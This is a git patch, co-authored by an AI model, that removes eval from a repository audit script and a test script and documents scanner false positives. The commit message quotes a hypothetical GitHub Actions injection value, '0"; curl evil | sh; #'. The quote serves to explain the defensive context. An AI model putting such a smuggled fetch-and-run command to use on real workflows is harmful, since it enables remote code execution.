From abbb3c9f977b78b755ac4cfcb8ba7e91781fb797 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 11:09:45 +0100 Subject: [PATCH] fix(scripts): remove eval, verify download-then-run (standards#939) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hypatia content_patterns/eval_in_shell true positives: - rhodium-standard-repositories/rsr-audit.sh: check() took a command string and ran it with `eval "$command"`. Replaced with a `"$@"`-based check() that takes a command and its args directly (shift past the description, exec "$@"), plus a small `not()` helper (mirrors `not_contains` in scripts/propagate-workflow-pins.sh's test suite) for the one negated predicate. Call sites converted from quoted command strings to literal argv: check_dir_exists/check_command_exists pass test/command-v directly; the CI/CD glob-or-file compound check became a tiny named predicate has_ci_config(); the "true" literal checks became the bare `true` command; the two grep -rq checks and the Reversibility test -d check lost one level of backslash escaping (`\\|` -> `\|`) since removing eval removes one string-reparse pass. Verified zero semantic drift: `rsr-audit.sh . --format json|text` and `rsr-audit.sh rhodium-standard-repositories --format json|text` before and after are byte-identical in text output and identical in total_checks/passed_checks/failed_checks/score/compliance_level/exit code (no existing regression test covers this script, so this was the verification method). - scripts/tests/fill-placeholders-test.sh: ck() ran `eval "$2"` on a single-quoted command string. Replaced with a `"$@"`-based ck() that shifts past the description and execs the rest directly; all ~14 call sites dropped their outer single-quotes so the command is a normal argv list. `bash scripts/tests/fill-placeholders-test.sh` before and after both print "14 passed, 0 failed" with exit 0 (log-diffed, identical). False positives (not edited; scanner matches its own detection patterns/comments, no real eval or unverified download present): - setup.sh: both download_then_run_shell hits are on (a) the top-of-file usage-documentation block recommending `curl -o ... && less ... && sh setup.sh` (human-reviewed, never piped, never eval'd by the script itself) and (b) install_just_verified()'s real curl call, which already downloads to a mktemp file and sha256sum -c verifies before any extraction/install (landed in 3079bc12, 2026-08-07, predating this issue's 2026-09-22 triage). - scripts/tests/propagate-workflow-pins-test.sh: both eval_in_shell hits are on comments describing the *absence* of eval ("runs CMD as a real command (no eval)"; "Small eval-free predicates"). The file contains no eval call at all. - .github/workflows/security-gate-pr-target.yml: hits are on (a) a comment illustrating a hypothetical injection payload and (b) the file's own MALICIOUS_PATTERNS bash array, which contains the literal detection regexes as data. Already marked FALSE POSITIVE in .hypatia-baseline.json. - .github/workflows/tag-ruleset-canon.yml: hit is on a comment describing a hypothetical GitHub Actions expression-injection scenario ("a dispatch with limit = `0"; curl evil | sh; #`"). - tests/test_tag_ruleset_canon.sh: hit is on a comment block describing the same hypothetical injection scenario as the workflow above. Skipped (vendored, tracked separately in standards#940): - rhodium-standard-repositories/satellites/palimpsest-license/TOOLS/validation/install.sh - rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-dns-discovery.sh - rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-http-headers.sh shellcheck (0.11.0) on both changed files: fill-placeholders-test.sh is clean. rsr-audit.sh has only pre-existing warnings in code this change didn't touch (SC2034 SCRIPT_DIR/has_lockfile, SC2126 grep|wc -l) plus SC2329 "never invoked" info on not()/has_ci_config()/ check_command_exists() — a known shellcheck limitation: it does not trace a function name passed as a bare argument into another function's "$@" exec, which is exactly the eval-free pattern this fix introduces. Both not() and has_ci_config() are confirmed invoked at runtime by the before/after diff above; check_command_exists() was already unreferenced dead code prior to this change and is out of scope here. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- rhodium-standard-repositories/rsr-audit.sh | 37 +++++++++++++--------- scripts/tests/fill-placeholders-test.sh | 35 +++++++++++--------- 2 files changed, 42 insertions(+), 30 deletions(-) diff --git a/rhodium-standard-repositories/rsr-audit.sh b/rhodium-standard-repositories/rsr-audit.sh index 56dfcd12e..c84c941e9 100755 --- a/rhodium-standard-repositories/rsr-audit.sh +++ b/rhodium-standard-repositories/rsr-audit.sh @@ -117,11 +117,11 @@ log_section() { check() { local description="$1" - local command="$2" + shift TOTAL_CHECKS=$((TOTAL_CHECKS + 1)) - if eval "$command" > /dev/null 2>&1; then + if "$@" > /dev/null 2>&1; then PASSED_CHECKS=$((PASSED_CHECKS + 1)) log_success "$description" return 0 @@ -131,6 +131,10 @@ check() { fi } +# not CMD [ARGS...] — negates a command's exit status (eval-free predicate, +# mirrors `not_contains` in scripts/propagate-workflow-pins.sh's test suite). +not() { ! "$@"; } + check_file_exists() { local file="$1" local description="${2:-File exists: $file}" @@ -159,7 +163,7 @@ check_file_exists() { check_dir_exists() { local dir="$1" local description="${2:-Directory exists: $dir}" - check "$description" "test -d '$REPO_PATH/$dir'" + check "$description" test -d "$REPO_PATH/$dir" } check_file_contains() { @@ -190,7 +194,7 @@ check_file_contains() { check_command_exists() { local cmd="$1" local description="${2:-Command available: $cmd}" - check "$description" "command -v $cmd" + check "$description" command -v "$cmd" } # ============================================================================= @@ -212,11 +216,14 @@ audit_category_1_infrastructure() { check_file_contains "justfile" "validate" "Justfile has validate recipe" # CI/CD: GitLab CI or GitHub Actions (the estate runs on GitHub; both count) - check "CI/CD configuration present" "test -f '$REPO_PATH/.gitlab-ci.yml' || ls '$REPO_PATH'/.github/workflows/*.y*ml >/dev/null 2>&1" + has_ci_config() { + [[ -f "$REPO_PATH/.gitlab-ci.yml" ]] || ls "$REPO_PATH"/.github/workflows/*.y*ml >/dev/null 2>&1 + } + check "CI/CD configuration present" has_ci_config if [[ -f "$REPO_PATH/.gitlab-ci.yml" ]]; then check_file_contains ".gitlab-ci.yml" "stages:" "GitLab CI has stages defined" else - check "CI/CD has workflows defined" "ls '$REPO_PATH'/.github/workflows/*.y*ml >/dev/null 2>&1" + check "CI/CD has workflows defined" ls "$REPO_PATH"/.github/workflows/*.y*ml fi # Podman (optional for CLI tools, required for web services) @@ -317,23 +324,23 @@ audit_category_3_security() { # Type safety (language detection) if [[ -f "$REPO_PATH/Cargo.toml" ]]; then - check "Type-safe language: Rust" "true" + check "Type-safe language: Rust" true elif [[ -f "$REPO_PATH/mix.exs" ]]; then - check "Type-safe language: Elixir" "true" + check "Type-safe language: Elixir" true elif [[ -f "$REPO_PATH/package.json" ]]; then check_file_contains "package.json" "rescript" "Type-safe: ReScript (not TypeScript)" if grep -q "typescript" "$REPO_PATH/package.json" 2>/dev/null; then log_warning "TypeScript detected (unsound gradual typing, prefer ReScript)" fi elif find "$REPO_PATH" -name "*.adb" -o -name "*.ada" | grep -q .; then - check "Type-safe language: Ada" "true" + check "Type-safe language: Ada" true elif find "$REPO_PATH" -name "*.hs" | grep -q .; then - check "Type-safe language: Haskell" "true" + check "Type-safe language: Haskell" true fi # Memory safety if [[ -f "$REPO_PATH/Cargo.toml" ]]; then - check "Memory-safe language: Rust" "true" + check "Memory-safe language: Rust" true # Check for unsafe code blocks local unsafe_count @@ -369,7 +376,7 @@ audit_category_3_security() { # Security headers configuration (for web projects) if [[ -f "$REPO_PATH/nginx.conf" ]] || [[ -f "$REPO_PATH/apache.conf" ]] || grep -rq "Content-Security-Policy" "$REPO_PATH" 2>/dev/null; then - check "Security headers configured" "grep -rq 'Content-Security-Policy\\|X-Frame-Options\\|X-Content-Type-Options' '$REPO_PATH'" + check "Security headers configured" grep -rq 'Content-Security-Policy\|X-Frame-Options\|X-Content-Type-Options' "$REPO_PATH" fi # .well-known/security.txt validation (RFC 9116) @@ -388,7 +395,7 @@ audit_category_4_architecture() { log_section "Category 4: Architecture Principles" # Offline-first indicators - check "Offline-first: No external API calls in core code" "! grep -rq 'http://\\|https://' '$REPO_PATH/src' 2>/dev/null" + check "Offline-first: No external API calls in core code" not grep -rq 'http://\|https://' "$REPO_PATH/src" # CRDT usage (for distributed systems) if grep -rq "CRDT\\|crdt\\|Conflict-free" "$REPO_PATH" 2>/dev/null; then @@ -398,11 +405,11 @@ audit_category_4_architecture() { TOTAL_CHECKS=$((TOTAL_CHECKS + 1)) # Reversibility (Git-based) - check "Reversibility: Git repository" "test -d '$REPO_PATH/.git'" + check "Reversibility: Git repository" test -d "$REPO_PATH/.git" # Build reproducibility (Nix) if [[ -f "$REPO_PATH/flake.nix" ]]; then - check "Reproducible builds: Nix flakes" "true" + check "Reproducible builds: Nix flakes" true fi # Documentation of architecture diff --git a/scripts/tests/fill-placeholders-test.sh b/scripts/tests/fill-placeholders-test.sh index 097e9c998..fbdf3c545 100755 --- a/scripts/tests/fill-placeholders-test.sh +++ b/scripts/tests/fill-placeholders-test.sh @@ -27,26 +27,31 @@ printf 'run *{{ARGS}}:\n echo {{ARGS}}\n' > Justfile "$S" . --map map.json --apply >/dev/null pass=0; fail=0 -ck(){ if eval "$2"; then pass=$((pass+1)); echo " ok $1"; else fail=$((fail+1)); echo " FAIL $1"; fi; } +ck(){ + local desc="$1"; shift + if "$@"; then pass=$((pass+1)); echo " ok $desc" + else fail=$((fail+1)); echo " FAIL $desc" + fi +} ck "sed LHS placeholders survive (the 90-repo corruption)" \ - 'grep -q "s/{{PROJECT_NAME}}/" scripts/apply-common-files.sh' + grep -q "s/{{PROJECT_NAME}}/" scripts/apply-common-files.sh ck "sed LHS {{DATE}} survives" \ - 'grep -q "s/{{DATE}}/" scripts/apply-common-files.sh' + grep -q "s/{{DATE}}/" scripts/apply-common-files.sh ck "alternate sed delimiter | also protected" \ - 'grep -q "s|{{PROJECT_NAME}}|" scripts/apply-common-files.sh' + grep -q "s|{{PROJECT_NAME}}|" scripts/apply-common-files.sh ck "ordinary prose IS substituted" \ - 'grep -q "Conative Gating readme" README.md' + grep -q "Conative Gating readme" README.md ck "ordinary date IS substituted" \ - 'grep -q "Built on 2026-08-05" README.md' + grep -q "Built on 2026-08-05" README.md ck "QUICKSTART left alone (its subject is the token)" \ - 'grep -q "Replace {{PROJECT_NAME}}, {{DEPS}}" QUICKSTART.adoc' + grep -q "Replace {{PROJECT_NAME}}, {{DEPS}}" QUICKSTART.adoc ck "REQUIRES_INITIALISATION left alone" \ - 'grep -q -- "- {{PROJECT_NAME}}" REQUIRES_INITIALISATION.md' + grep -q -- "- {{PROJECT_NAME}}" REQUIRES_INITIALISATION.md ck "template source keeps its tokens" \ - 'grep -q "{{PROJECT_NAME}}" templates/x.template' + grep -q "{{PROJECT_NAME}}" templates/x.template ck "just's own {{ARGS}} never touched" \ - 'grep -qc "{{ARGS}}" Justfile' + grep -qc "{{ARGS}}" Justfile # --- slug slots: a value can be correct AND wrong depending on where it lands. # These reproduce findings from boj-server-mk2, project-ovine and squeakwell, @@ -59,23 +64,23 @@ printf 'The {{PROJECT_NAME}} project builds things.\n' > README.md "$S" . --map map.json --apply >/dev/null 2>&1 || true ck "display name REFUSED in a Guix (name ...) slot" \ - 'grep -q "{{PROJECT_NAME}}" guix.scm' + grep -q "{{PROJECT_NAME}}" guix.scm ck "display name still substituted in ordinary prose" \ - 'grep -q "The BoJ Server Mk2 project" README.md' + grep -q "The BoJ Server Mk2 project" README.md printf '{"PROJECT_NAME":"BoJ Server Mk2","PROJECT_SLUG":"boj-server-mk2"}\n' > map.json printf "(name '{{PROJECT_NAME}})\nurl \"https://github.com/x/{{PROJECT_NAME}}\"\n" > guix.scm "$S" . --map map.json --apply >/dev/null 2>&1 ck "with PROJECT_SLUG supplied, slug slots get the SLUG" \ - 'grep -q "(name .boj-server-mk2)" guix.scm' + grep -q "(name .boj-server-mk2)" guix.scm ck "and the URL gets the slug too" \ - 'grep -q "github.com/x/boj-server-mk2" guix.scm' + grep -q "github.com/x/boj-server-mk2" guix.scm # just's own interpolations must never be touched, mapped or not printf 'build -t {{project}}:latest\nrun *{{ARGS}}:\n' > Justfile "$S" . --map map.json --apply >/dev/null 2>&1 -ck "just {{project}} interpolation survives" 'grep -q "{{project}}:latest" Justfile' +ck "just {{project}} interpolation survives" grep -q "{{project}}:latest" Justfile echo; echo " ${pass} passed, ${fail} failed" [ "$fail" = "0" ]